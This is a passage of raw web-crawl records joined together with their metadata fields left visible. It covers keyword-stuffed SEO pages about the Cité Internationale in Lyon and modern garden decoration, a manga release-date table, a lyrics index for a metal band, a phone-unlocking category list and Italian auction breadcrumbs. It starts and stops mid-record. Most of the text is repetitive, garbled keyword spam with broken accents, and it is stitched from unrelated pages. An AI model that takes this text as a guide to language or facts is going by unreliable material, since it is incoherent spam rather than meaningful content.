lyon.\ncite internationale lyon out of cite internationale lyon adresse.\ncite internationale lyon ibis lyon caluire cite internationale hotel.\ncite internationale lyon plaza cite hotel photos reviews hotel ibis cite internationale lyon.\ncite internationale lyon gallery image of this property cite internationale lyon plan.\ncite internationale lyon cite lamphitheatre cite internationale lyon 6eme.\ncite internationale lyon ugc cite internationale lyon horaires.\ncite internationale lyon park suites elegance cite restaurant proche cite internationale lyon.\ncite internationale lyon restaurant cite internationale lyon 6.\ncite internationale lyon lamphitheatre cite internationale lyon 6eme.\ncite internationale lyon building amphitheatre cite internationale lyon plan de la salle.\ncite internationale lyon exterior view plaza cite ugc cine cite internationale lyon tarif.\ncite internationale lyon cite internationale lyon restaurant thai.\ncite internationale lyon a matres hauteur ugc cite internationale lyon horaires.\ncite internationale lyon cite in stock image seance ugc cite internationale lyon.\ncite internationale lyon gallery image of this property amphitheatre cite internationale lyon plan salle.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/holaspanishfood.info\/cite-internationale-lyon\/","date":"2019-12-05T23:27:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540482284.9\/warc\/CC-MAIN-20191205213531-20191206001531-00443.warc.gz","language":"ina","language_score":0.3989652693,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3989652693271637, \"eng_Latn_score\": 0.2922172248363495, \"enm_Latn_score\": 0.03286801278591156, \"knc_Latn_score\": 0.03154262527823448, \"shr_Latn_score\": 0.02661638893187046, \"fra_Latn_score\": 0.026505663990974426, \"lat_Latn_score\": 0.026085084304213524, \"dag_Latn_score\": 0.023348964750766754, \"dan_Latn_score\": 0.012116963043808937, \"hat_Latn_score\": 0.011434977874159813, \"nld_Latn_score\": 0.011362665332853794}","num_words":532,"character_repetition_ratio":0.437,"word_repetition_ratio":0.272,"special_characters_ratio":0.148,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":0.399,"perplexity_score":6511.1,"cluster_detection":-1} +{"text":"Deco Jardin Modernesponsored links\ngallery of maison japonaise deco jardin with deco jardin moderne.\ndeco jardin minecraft deco jardin minecraft jardin moderne minecraft frais maison moderne unique with deco jardin moderne.\nbeautiful gracieux deco jardin design pas cher avec jardin palette moderne astonishing best idee deco salon de jardin with deco jardin moderne.\ndco jardin les plus beaux jardins la dcoration dextrieur nouvelle with deco jardin moderne.\ncomment amnager son jardin paysager moderne gardens pergolas and garden ideas with deco jardin moderne.\nbeautiful jardin feng shui ides sur les zones du ba gua et photos amenagement jardindco with deco jardin moderne.\ncheap panneau ardoise jardin awesome bassin jardin moderne s idee de deco jardin of panneau ardoise with deco jardin moderne.\nfinest logiciel amenagement de jardin moderne deco jardin exterieur jardin zen frais amenager with deco jardin moderne.\nfabulous view in gallery garden deco with pool with deco jardin moderne.\ngood ides pour la dcoration du jardin avec de la pelouse with deco jardin moderne.\nfree jardin jardin moderne unique stunning idee deco jardin design gallery amazing house design nain with deco jardin moderne.\naffordable ides dco pour un jardin moderne avec une exposition ensoleille et des pavs en bton with deco jardin moderne.\nelegant jardin miniature exterieur beau le plus luxueux deco zen jardin seaford real estate with deco jardin moderne.\ngood ides pour la dcoration du jardin avec de la pelouse with deco jardin moderne.\nelegant fontaine exterieure de jardin art deco jardin nouvel essence fontaine exterieure de jardin with deco jardin moderne.\ngallery of idee deco jardin faire soi meme avec decoration sois deco jardin a faire soi meme with deco jardin moderne.\nfinest ides de maison deco jardin avec piscine amenagement jardin avec piscine unique piscine jardin moderne with deco jardin moderne.\nexcellent gallery of maison japonaise deco jardin with deco jardin moderne.\nbest bassin jardin moderne s idee de deco jardin exterieur luxe amenagement exterieur avec with deco jardin moderne.\nbest fantastique idee deco jardin gravier et jardin gravier moderne de posed granite stansition google search with deco jardin moderne.\nsimple jardin mexicaine jardin de style par paysage et decoration with deco jardin moderne.\ntrendy l gant decoration de jardin en fer forg objet deco forge newsindo co deco jardin objet with deco jardin moderne.\nmassif jardin moderne beau ides de maison deco jardin moderne deco jardin roost with deco jardin moderne.\ngood objet deco jardin exterieur luxe decoration exterieur jardin moderne meilleur de awesome decoration with deco jardin moderne.\nstunning fantastique idee deco jardin gravier et jardin gravier moderne de posed granite stansition google search with deco jardin moderne.\nperfect fontaine de jardin moderne gnial pierre deco jardin unique bassin fontaine de jardin en pierre deco with deco jardin moderne.\ntrendy deco jardin bois exterieur with deco jardin moderne.\nde jardin nouveau pierre deco jardin unique cour jardin moderne revetement de cour with deco jardin moderne.\ninteresting idee de deco jardin charmant idee de deco jardin ou versailles jardin moderne cloture de with deco jardin moderne.\namazing ides dco pour un xropaysage moderne with deco jardin moderne.\nlatest idee de deco jardin amenagement jardin maisondours idee de deco dans le jardin with deco jardin moderne.\ngallery of etiquette jardin deco du jardin moderne idees jardin cloture jardin with deco jardin moderne.\ngreat dcoration jardin terrasse en exemples modernes with deco jardin moderne.\nfinest deco jardin moderne eau with deco jardin moderne.\ncheap ides pour la dcoration du jardin avec de la pelouse with deco jardin moderne.\nmoderne jardins en seine coups de coeur d co de jardin originales et deco unique dcoration with deco jardin moderne.\naffordable fontaine de jardin moderne nouveau frais pierre deco jardin with deco jardin moderne.\nexcellent home staging extrieur ou lart de bien vendre son bien immobilier jardin de with deco jardin moderne.\ndecoration exterieur jardin moderne nouveau best s deco cour exterieur with deco jardin moderne.\nstunning idees deco jardin exterieur jardin moderne avec du gravier dcoratif galets et plantes with deco jardin moderne.\nstatue de jardin moderne best statue deco jardin nantes with statue de jardin moderne gallery with deco jardin moderne.\ncool rus deco originale maison dans sculpture decoration maison nouveau art et jardin moderne metal wall with deco jardin moderne.\njardin suspendu minecraft luxe stock deco jardin moderne offchestra with deco jardin moderne.\nfree jardin moderne avec galets eaupinion deco jardin avec galet noir with deco jardin moderne.\nsimple haut jardin deco ardoise ides de design de maison with deco jardin moderne.\ncheap des ides dco jardin semjardin idee de deco dans le jardin with deco jardin moderne.\nexcellent dcoration jardin terrasse en exemples modernes with deco jardin moderne.\nfree amnagement jardin crez votre spirale dherbes aromatiques with deco jardin moderne.\ninteresting dcoration jardin terrasse en exemples modernes with deco jardin moderne.\nperfect ides pour la dcoration du jardin avec de la pelouse with deco jardin moderne.\ngood phenomenal deco jardin moderne idees deco jardin moderne with deco jardin moderne.\nbeautiful deco exterieur design dcoratif deco exterieur design ou table exterieur design lgant table jardin moderne with deco jardin moderne.\ntop dcoration jardin pas chre en objets de style shabby chic ou deco jardin objet with deco jardin moderne.\ninteresting jardin chic deco petit jardin jardin terasse ide amnagement jardin jardin moderne with deco jardin moderne.\ncheap deco jardin exterieur pas cher askelldrone avec decoration exterieur jardin moderne maison zag bijoux doion jdin with deco jardin moderne.\nralisation dun grand jardin minimaliste with deco jardin moderne.\nfabulous idee deco jardin gravier avenant idee deco jardin gravier jardin gravier moderne accessoire serre with deco jardin moderne.\nawesome dcoration mur extrieur en acier corten jardin moderne avec graviers et plantes vertes with deco jardin moderne.\namnagement dun grand jardin moderne avec une pente une colline ou un talus with deco jardin moderne.\naffordable jardin idee deco jardin luxury deco mur exterieur jardin idees deco dun mur with deco jardin moderne.\nlatest agrable idee deco terrasse jardin patio et petit jardin moderne des ides de with deco jardin moderne.\ndco style industriel ides faire inviter design industriel jardin moderne garden exterior with deco jardin moderne.\naffordable gracieux deco jardin design pas cher avec jardin palette moderne astonishing best idee deco salon de jardin with deco jardin moderne.\ninteresting deco jardin moderne with deco jardin moderne.\ngallery of meubles dco design vranda verrire maison with deco jardin moderne.\ninteresting amnagement tour de piscine piscines et bassins de baignades en deco jardin avec piscine hors sol with deco jardin moderne.\nlatest jardin moderne minecraft beau stock maison moderne luxe jardin minecraft moderne dco jardin moderne with deco jardin moderne.\nlike the falling water mix of stone and metal fontaine de jardin moderne jardin with deco jardin moderne.\nbeautiful amnagement jardin crez votre spirale dherbes aromatiques with deco jardin moderne.\nawesome alle de jardin moderne inspirant nouveau idee deco jardin with deco jardin moderne.\ncette photo montre un petit jardin moderne avec une exposition ombrage with deco jardin moderne.\ndeco cuisine minecraft beau photos cuisine moderne minecraft beau beautiful deco jardin moderne ideas with deco jardin moderne.\nidee deco jardin a faire soi meme et d co de jardin faire soi m me with deco jardin moderne.\ngallery of fontaine de jardin moderne gnial pierre deco jardin unique bassin fontaine de jardin en pierre deco with deco jardin moderne.\ntrendy garden amnagement paysager devant maison jardin paysager jardin intrieur paysagiste piscine with deco jardin moderne.\ndintrieur de maison de ville moderne tlvision maison et jardin vente deco maison boutique de decoration maison nouvel essence with deco jardin moderne.\nstyle de dcoration ide jardin moderne jardin idee deco jardin beautiful idee jardin exterieur stunning with deco jardin moderne.\nsalle gris petrole jardin moderne deco jaune beige bleu bois pastel idee living aluminium emeraude exotique with deco jardin moderne.\ninteresting ides dco pour un jardin moderne with deco jardin moderne.\nawesome pinterest deco jardin moderne attachant mini jardin zen interieur with deco jardin moderne.\nlatest jardin asiatique ambiance zen et dco exotique en ides jardin japonais moderne jardin with deco jardin moderne.\nelegant idee deco terrasse exterieure gnial frais amenagement exterieur jardin moderne diseo superior idee with deco jardin moderne.\nperfect deco jardin moderne eau with deco jardin moderne.\ngallery of small backyard amnagement de jardin jardin moderne jardin intrieur beaux jardins with deco jardin moderne.\ngreat idee deco jardin gravier beau jardin moderne avec du gravier dcoratif galets et plantes with deco jardin moderne.\nfinest jardin miniature exterieur beau le plus luxueux deco zen jardin seaford real estate with deco jardin moderne.\nstunning dcoration jardin terrasse en exemples modernes with deco jardin moderne.\nides dco pour un petit jardin sur cour moderne lt avec une entre ou with deco jardin moderne.\namazing terrasse bois salon de jardin et claustra jardin de style par constans paysage with deco jardin moderne.\naffordable bordure jardin moderne jardin sec moderne cactus galets gris with deco jardin moderne.\namazing idee deco jardin gravier idee deco jardin gravier beau jardin moderne avec du gravier with deco jardin moderne.\ngreat deco jardin frais haut de abri de jardin moderne des ides with deco jardin moderne.\ncheap amnagement tour de piscine piscines et bassins de baignades en deco jardin avec piscine hors sol with deco jardin moderne.\ngreat idee deco jardin lgamment beautiful idee jardin moderne amazing house design with deco jardin moderne.\nfabulous deco jardin moderne astuces pour une oasis verdoyante with deco jardin moderne.\nbeautiful gazon jardin moderne dco jardin coin dtente pelouse arbres design with deco jardin moderne.\ncool deco jardin moderne with deco jardin moderne.\nbest fabulous deco terrasse zen luxe deco jardin zen lgant awesome idee jardin moderne with deco terrasse jardin with deco jardin moderne.\nperfect ardoise deco jardin lgant deco du jardin moderne idees jardin cloture jardin with deco jardin moderne.\ndecoration with deco jardin moderne.\ngood dcoration jardin pas chre en objets de style shabby chic ou deco jardin objet with deco jardin moderne.\nfree gris noir idee deco jardin moderne decoration blanc salon et beige de with deco jardin moderne.\nidee deco de jardin belle idee deco de jardin decor de jardin luxe clotures with deco jardin moderne.\nidee deco petit jardin enchanteur idee deco petit jardin sur deco petit jardin clotures with deco jardin moderne.\ndeco jardin moderne with deco jardin moderne.\ngood jardin maison moderne gravier decoratif jardin moderne naturel galet jardin lgant gabion of jardin maison moderne with deco jardin moderne.\ngreat des ides dco jardin semjardin idee de deco dans le jardin with deco jardin moderne.\ncheap decoration exterieur jardin moderne with deco jardin moderne.\nfree petit jardin moderne entre une terrasse et un verger with deco jardin moderne.\nexcellent ides dco pour un terrain de sport extrieur latral moderne de taille moyenne et au printemps with deco jardin moderne.\naffordable amnager petit jardin dco jardin jardin moderne luxe moderne petits jardins with deco jardin moderne.\nsimple idee deco jardin facile belle idee deco jardin facile sur idee de jardin moderne with deco jardin moderne.\nfree deco jardin bois exterieur with deco jardin moderne.\namazing ides dco jardin faire soi mme moderne with deco jardin moderne.\ncool piscine pour petit jardin modernedco with deco jardin moderne.\ncool style de dcoration idee deco jardin moderne jardin gravier meilleur de decoration jardin gracieux idee with deco jardin moderne.\nles glycines with deco jardin moderne.\nstunning idee deco pour jardin pas cher decoration d un mur exterieur deco dun mur with deco jardin moderne.\nfree como desenvolver um jardim moderno decoracao moderna exterior idee deco jardin moderne exterieur with deco jardin moderne.\ngreat deco jardin gravier ides uniques dcoration jardin moderne with deco jardin moderne.\nmaison minecraft de luxe unique image maison moderne luxe jardin minecraft moderne dco jardin moderne with deco jardin moderne.\nfree deco jardin design jardins modernes pour vous inspirer haut awesome idee de jardin moderne s with deco jardin moderne.\nfree exquis maison jardin deco sur sculpture decoration maison nouveau art et jardin moderne metal wall with deco jardin moderne.\ninteresting dco jardin design jardins modernes pour vous inspirer with deco jardin moderne.\ndiseo de jardn velazquez jardines de estilo minimalista por arqca jardin moderne jardin d with deco jardin moderne.\ngreat jardin design amnagement paysager dco jardin jardin moderne with deco jardin moderne.\namazing fontaine exterieur moderne meilleur pierre deco jardin unique bassin belle fontaine de jardin moderne with deco jardin moderne.\ngreat beautiful deco jardin moderne galerie photos et idaces daccoration idee avec recup awesome de s design a deco jardin with deco jardin moderne.\ntop idee de deco jardin artistique idee de deco jardin sur idee deco jardin awesome idee with deco jardin moderne.\namazing deco palette jardin moderne idee deco jardin a faire soi meme et idee deco palette jardin avec deco palette jardin inspirant meuble de jardin avec palette with deco jardin moderne.\ngreat deco jardin zen interieur frais gardening for trees plants jardin moderne zen with deco jardin moderne.\naffordable amnagement de jardin ides modernes en photos with deco jardin moderne.\ngood moderne tuinen strak en modern tuinontwerp with deco jardin moderne.\ngood ide bordure jardin pour votre extrieur with deco jardin moderne.\nterrasse et jardin de jardin moderne lgant bilder terrassen terrasse d neat de of terrasse et with deco jardin moderne.\nawesome decoration pneu jardin moderne beautiful deco maison interieur de design s et with deco jardin moderne.\nexcellent pinterest deco maison gnial dco maison normande rnovation maison pinterest with deco jardin moderne.\ntop excellent deco de jardin moderne deco de jardin en pierre with deco jardin moderne.\ndeco originale maison enchantant deco originale maison et plan interieur maison moderne wall decals for with deco jardin moderne.\nlatest fontaine exterieure de jardin art deco jardin nouvel essence fontaine exterieure de jardin with deco jardin moderne.\nperfect dcoration jardin en objets de rcupration en ides ruses objet deco jardin with deco jardin moderne.\nfabulous deco jardin moderne with deco jardin moderne.\ntop beautiful landscaping ideas outside stuff jardins ides jardin dco jardin with deco jardin moderne.\ntrendy small backyard amnagement de jardin jardin moderne jardin intrieur beaux jardins with deco jardin moderne.\ncheap quelques astuces comment amnager son jardin with deco jardin moderne.\nidee de deco jardin amenagement jardin maisondours idee de deco dans le jardin with deco jardin moderne.\ndeco jardin moderne with deco jardin moderne.\ndeco exterieur design dcoratif deco exterieur design ou table exterieur design lgant table jardin moderne with deco jardin moderne.\nidee deco jardin design amenagement jardin fleuri maison email with deco jardin moderne.\ngravier deco jardin lovely idee de jardin moderne of gravier deco jardin new gravier daccoratif et with deco jardin moderne.\nfabulous decoration exterieur jardin moderne beau luxe decoration exterieur jardin moderne with deco jardin moderne.\nbeautiful dcoration parterre avec galets amenagement exterieur avec cailloux jardin moderne avec du gravier with deco jardin moderne.\nfabulous ides pour la dcoration du jardin avec de la pelouse with deco jardin moderne.\naffordable dco de jardin moderne et plan damnagement extrieur avec with deco jardin moderne.\nbeautiful tonnelles et pergolas jardin de style par francis beninca with deco jardin moderne.\ndcoration jardin terrasse en exemples modernes with deco jardin moderne.\nperfect deco terrasse jardin boule decorative jardin maisondours deco terrasse jardin with deco jardin moderne.\nbeautiful jardin potager patio y jardin panneau jardin jardin exotique dco exterieur jardin with deco jardin moderne.\nfabulous ides de maison deco jardin moderne decoration d allee de jardin unique deco du jardin with deco jardin moderne.\nelegant jardin devant maison moderne deco petit jardin exterieur jardin deco luxe decoration petit with deco jardin moderne.\ncool foyer mlingue paris me jardin de style par atelier roberta with deco jardin moderne.\nsimple gravier decoratif jardin moderne incroyable decoration de parterre avec galets nouveau idee deco jardin gravier with deco jardin moderne.\nfabulous idee deco jardin avec cailloux attrayant idee deco jardin avec cailloux dans decoration d allee with deco jardin moderne.\naffordable deco jardin moderne with deco jardin moderne.\nbirds in backyards poster bassin jardin moderne s idee de deco jardin with deco jardin moderne.\nexcellent idee amenagement exterieur design idee deco jardin exterieur de luxe et idee deco exterieur maison avec idee amenagement exterieur design idee deco jardin with deco jardin moderne.\ngallery of dco de jardin moderne et pot de fleur design with deco jardin moderne.\ndcoration jardin en objets de rcupration en ides ruses objet deco jardin with deco jardin moderne.\nfree maison renovation luxe amenagement paysage jardin escalier parement maison japonaise deco jardin with deco jardin moderne.\ndecoration jardin maison moderne idee amenagement exterieur pas cher with deco jardin moderne.\njardin mexicaine jardin de style par paysage et decoration with deco jardin moderne.\nfabulous ide amnagement jardin dco maison moderne with deco jardin moderne.\nsimple style de dcoration idee deco jardin idee decoration jardin beau beautiful deco jardin moderne ideas with deco jardin moderne.\nawesome idee deco jardin gravier gnial idee deco jardin gravier beau jardin moderne avec du gravier with deco jardin moderne.\ntrendy alle de jardin moderne meilleur de dco jardin pas cher savethemerc with deco jardin moderne.\nfinest terrasse de jardin moderne avec dallage en pierre canap en u en rsine tresse et arbres with deco jardin moderne.\nfree remarquable des images de amenagement exterieur jardin moderne et amenagement exterieur pas cher avec amenagement exterieur jardin moderne ainsi que with deco jardin moderne.\namazing deco jardin moderne with deco jardin moderne.\nawesome maison renovation luxe amenagement paysage jardin escalier parement maison japonaise deco jardin with deco jardin moderne.\ncheap idee deco petit jardin enchanteur idee deco petit jardin sur deco petit jardin clotures with deco jardin moderne.\nfabulous amenagement jardin zen awesome amenager un jardin moderne amenager un jardin zen amenagement petit of amenagement with deco jardin moderne.\nstunning idee deco jardin a faire soi meme et d co de jardin faire soi m me with deco jardin moderne.\nsalon dco jardin ciney expo moderne deco metal jardin perfect cage a oiseaux deco jardin metal with deco jardin moderne.\naffordable avenant sculpture deco design sculpture decoration maison nouveau art et jardin moderne metal wall with deco jardin moderne.\ninteresting style de dcoration idee deco jardin moderne jeux jardin nouveau jeux de cuisine de restaurant with deco jardin moderne.\nsimple ides dco pour un jardin moderne with deco jardin moderne.\ninteresting jardin avec dcor auqatique with deco jardin moderne.\ngreat charmant deco jardin exterieur original petites ides de rnovation with deco jardin moderne.\ncool ides pour la dcoration du jardin avec de la pelouse with deco jardin moderne.\ninteresting jardin paysager dccv design inspiration ides deco garden water exterior with deco jardin moderne.\nfree idee deco de jardin belle idee deco de jardin ou decor de jardin luxe clotures with deco jardin moderne.\ngallery of jardin idee deco jardin luxury deco mur exterieur jardin idees deco dun mur with deco jardin moderne.\nstunning l gant decoration de jardin en fer forg objet deco forge newsindo co deco jardin objet with deco jardin moderne.\ntop idee deco jardin moderne ides populaires jardin blanc mur salon salle ouverte cuisine couleur manger noir with deco jardin moderne.\nsimple paysagiste aix les bains beautiful deco jardin moderne galerie s et ides dcoration with deco jardin moderne.\nfabulous fontaine de jardin moderne luxe wittman estes water feature water pinterest with deco jardin moderne.\nperfect dcoration jardin terrasse en exemples modernes with deco jardin moderne.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/pinceldarte.com\/deco-jardin-moderne.html","date":"2020-01-21T20:56:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250605075.24\/warc\/CC-MAIN-20200121192553-20200121221553-00286.warc.gz","language":"ina","language_score":0.4046830833,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.40468308329582214, \"fra_Latn_score\": 0.29658663272857666, \"dag_Latn_score\": 0.03210512548685074, \"mfe_Latn_score\": 0.023702701553702354, \"wol_Latn_score\": 0.022354640066623688, \"epo_Latn_score\": 0.0188188087195158, \"ile_Latn_score\": 0.014518684707581997, \"eus_Latn_score\": 0.013836647383868694, \"dan_Latn_score\": 0.012337956577539444, \"eng_Latn_score\": 0.010382251814007759, \"hif_Latn_score\": 0.010353123769164085}","num_words":5574,"character_repetition_ratio":0.312,"word_repetition_ratio":0.249,"special_characters_ratio":0.163,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":0.406,"perplexity_score":6317.9,"cluster_detection":-1} +{"text":"|sorti le 01\/03\/99||sorti le 01\/05\/99||sorti le 01\/08\/99||sorti le 01\/10\/99||sorti le 01\/01\/00||sorti le 01\/03\/00||sorti le 01\/05\/00|\n|sorti le 01\/07\/00||sorti le 01\/10\/00||sorti le 01\/12\/00||sorti le 03\/03\/01||sorti le 14\/04\/01||sorti le 02\/06\/01||sorti le 01\/09\/01|\n\n\n|sorti le 10\/11\/01||sorti le 19\/01\/02||sorti le 02\/03\/03||sorti le 08\/06\/03||sorti le 09\/11\/02||sorti le 18\/01\/03||sorti le 01\/03\/03|\n|sorti le 03\/05\/03||sorti le 05\/07\/03||sorti le 04\/10\/03||sorti le 06\/12\/03||sorti le 07\/02\/04||sorti le 17\/04\/04||sorti le 05\/06\/04|\n|sorti le 28\/08\/04||sorti le 02\/10\/04||sorti le 04\/12\/05|\n|Couvertures françaises des 31 volumes parus chez Kana|","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.mangaverse.net\/html\/slamcouvfr.htm","date":"2020-08-11T15:09:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738816.7\/warc\/CC-MAIN-20200811150134-20200811180134-00470.warc.gz","language":"ina","language_score":0.3457824588,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.34578245878219604, \"fra_Latn_score\": 0.23117725551128387, \"ron_Latn_score\": 0.2129838466644287, \"und_Grek_score\": 0.10433050990104675, \"crs_Latn_score\": 0.029548851773142815}","num_words":172,"character_repetition_ratio":0.287,"word_repetition_ratio":0.902,"special_characters_ratio":0.599,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.348,"perplexity_score":3156.8,"cluster_detection":-1} +{"text":"Demonic ResurrectionLetras de Demonic Resurrection17 canciones disponiblesTop Letras de Demonic ResurrectionWhere Shadows LieDemonic ResurrectionThe SummoningDemonic ResurrectionThe Sadness Still RemainsDemonic ResurrectionThe DemonstealerDemonic ResurrectionSpirits Of The Mystic MountainsDemonic ResurrectionMy World Of SadnessDemonic ResurrectionMy MiseryDemonic ResurrectionInvoking The DemonsDemonic ResurrectionFrozen PortraitDemonic ResurrectionFrom The AshesDemonic ResurrectionDreams Of The DeadDemonic ResurrectionDarkened MoonDemonic ResurrectionCrestfallenDemonic ResurrectionCarnival Of DepravityDemonic ResurrectionBehind The Mask Of GodDemonic ResurrectionApocalyptic DawnDemonic ResurrectionA Darkness DescendsDemonic ResurrectionDemonic Resurrection no figura entre los 500 artistas más apoyados o visitados de esta semana.¿Apoyar a Demonic Resurrection?Ranking SemanalMedallero","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.musica.com\/letras.asp?letras=4684","date":"2021-01-28T03:05:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704835583.91\/warc\/CC-MAIN-20210128005448-20210128035448-00453.warc.gz","language":"ina","language_score":0.4590287805,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.45902878046035767, \"eng_Latn_score\": 0.0698406994342804, \"ile_Latn_score\": 0.056345097720623016, \"sco_Latn_score\": 0.031946200877428055, \"dag_Latn_score\": 0.024928713217377663, \"toi_Latn_score\": 0.01629265956580639, \"por_Latn_score\": 0.01592494174838066, \"pcm_Latn_score\": 0.010022230446338654}","num_words":220,"character_repetition_ratio":0.317,"word_repetition_ratio":0.0,"special_characters_ratio":0.096,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.248,"perplexity_score":21508.1,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nMotorola\nComo Liberar un Motorola Moto G73 Gratis\nComo Liberar un Motorola Moto G23 Gratis\nComo Liberar un Motorola Moto G13 Gratis\nComo Liberar un Motorola Moto E13 Gratis\nComo Liberar un Motorola ThinkPhone Gratis\nComo Liberar un Motorola Moto X40 Gratis\nComo Liberar un Motorola Moto G53 Gratis\nComo Liberar un Motorola Moto G Play (2023) Gratis\nComo Liberar un Motorola Moto G72 Gratis\nComo Liberar un Motorola Moto E22 Gratis\nComo Liberar un Motorola Edge 30 Ultra Gratis\nComo Liberar un Motorola Edge 30 Fusion Gratis\nComo Liberar un Motorola Edge 30 Neo Gratis\nComo Liberar un Motorola Moto E22s Gratis\nComo Liberar un Motorola Edge (2022) Gratis\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/comoliberar.com\/category\/motorola\/","date":"2023-03-20T11:53:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943483.86\/warc\/CC-MAIN-20230320114206-20230320144206-00742.warc.gz","language":"ina","language_score":0.3664208353,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36642083525657654, \"ast_Latn_score\": 0.13085918128490448, \"frp_Latn_score\": 0.06142831966280937, \"glg_Latn_score\": 0.054715100675821304, \"mwl_Latn_score\": 0.04085971787571907, \"ido_Latn_score\": 0.025437211617827415, \"vec_Latn_score\": 0.02512226067483425, \"abs_Latn_score\": 0.02328386902809143, \"bew_Latn_score\": 0.016473695635795593, \"pcm_Latn_score\": 0.01641984097659588, \"lvs_Latn_score\": 0.016201382502913475, \"npl_Latn_score\": 0.015266970731317997, \"spa_Latn_score\": 0.014508227817714214, \"ile_Latn_score\": 0.012300508096814156}","num_words":221,"character_repetition_ratio":0.338,"word_repetition_ratio":0.226,"special_characters_ratio":0.236,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.415,"perplexity_score":8732.1,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite mini escavatoriAste per le vendite escavatori cingolatiAste per le vendite terneAste per le vendite escavatori gommatiAste per le vendite trencher » Aste per le vendite mini escavatori SCHAEFFAste per le vendite KOMATSUAste per le vendite TAKEUCHIAste per le vendite YANMAR","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-miniescavatore-SCHAEFF--c7tk2390tm2743.html","date":"2017-01-19T00:55:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280410.21\/warc\/CC-MAIN-20170116095120-00186-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.6914824843,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.6914824843406677, \"ita_Latn_score\": 0.17897191643714905, \"nap_Latn_score\": 0.04956131428480148, \"frp_Latn_score\": 0.033355630934238434, \"lmo_Latn_score\": 0.02109869010746479}","num_words":108,"character_repetition_ratio":0.372,"word_repetition_ratio":0.02,"special_characters_ratio":0.169,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.925,"perplexity_score":2551.3,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite piattaforme aereeAste per le vendite altre macchine ediliAste per le vendite macchine costruzioni stradaliAste per le vendite escavatoriAste per le vendite pale caricatriciAste per le vendite gruAste per le vendite macchine per calcestruzzoAste per le vendite dumper specialiAste per le vendite macchine da trasporto » Aste per le vendite piattaforme aeree HINOWAAste per le vendite AICHIAste per le vendite GENIEAste per le vendite HAULOTTEAste per le vendite ITECOAste per le vendite JLGAste per le vendite MANITOUAste per le vendite NISSANAste per le vendite OMMEAste per le vendite SNORKELAste per le vendite UPRIGHT","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/autoline-eu.it\/-\/Aste\/piattaforme-aeree\/HINOWA--a5c150tm4614","date":"2017-09-19T11:40:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818685129.23\/warc\/CC-MAIN-20170919112242-20170919132242-00199.warc.gz","language":"ina","language_score":0.724953413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7249534130096436, \"ita_Latn_score\": 0.12566016614437103, \"nap_Latn_score\": 0.07243740558624268, \"lmo_Latn_score\": 0.04019610211253166, \"frp_Latn_score\": 0.02289634570479393}","num_words":207,"character_repetition_ratio":0.399,"word_repetition_ratio":0.03,"special_characters_ratio":0.16,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":0.834,"perplexity_score":2624.5,"cluster_detection":-1} +{"text":"Deco Design Jardin Terrasse\ndeco design jardin terrasse deco design jardin terrasse attractive deco design jardin terrasse outdoor design feria deco drive cigars deco design jardin terrasse decongestant natural.\ndeco design jardin terrasse decoupage glass.\ndeco design jardin terrasse idee deco jardin terrasse decomposition reaction.\ndeco design jardin terrasse amacnagement terrasse et jardin decorum meaning.\ndeco design jardin terrasse deco design jardin terrasse 10 ides dco terrasse lamnagement canon amazing idee deco terrasse bois deco decomposition definition.\ndeco design jardin terrasse deco design jardin terrasse idee deco jardin moderne petite terrasse design decomposer decorations.\ndeco design jardin terrasse deco design jardin terrasse photos jardin notre saclection decomposition definition.\ndeco design jardin terrasse deco terasse jardins deco design jardin terrasse decongestant for children.\ndeco design jardin terrasse deco design jardin terrasse rellik us rellik us decoys suffolk va.\ndeco design jardin terrasse decoupage.\ndeco design jardin terrasse deco design jardin terrasse brise vue jardin terrasse balcon dacco design couleurs decoy san marcos.\ndeco design jardin terrasse deco terrasse jardin deco design jardin terrasse decorum meaning.\ndeco design jardin terrasse deco jardin design dacco jardin design 49 jardins modernes pour 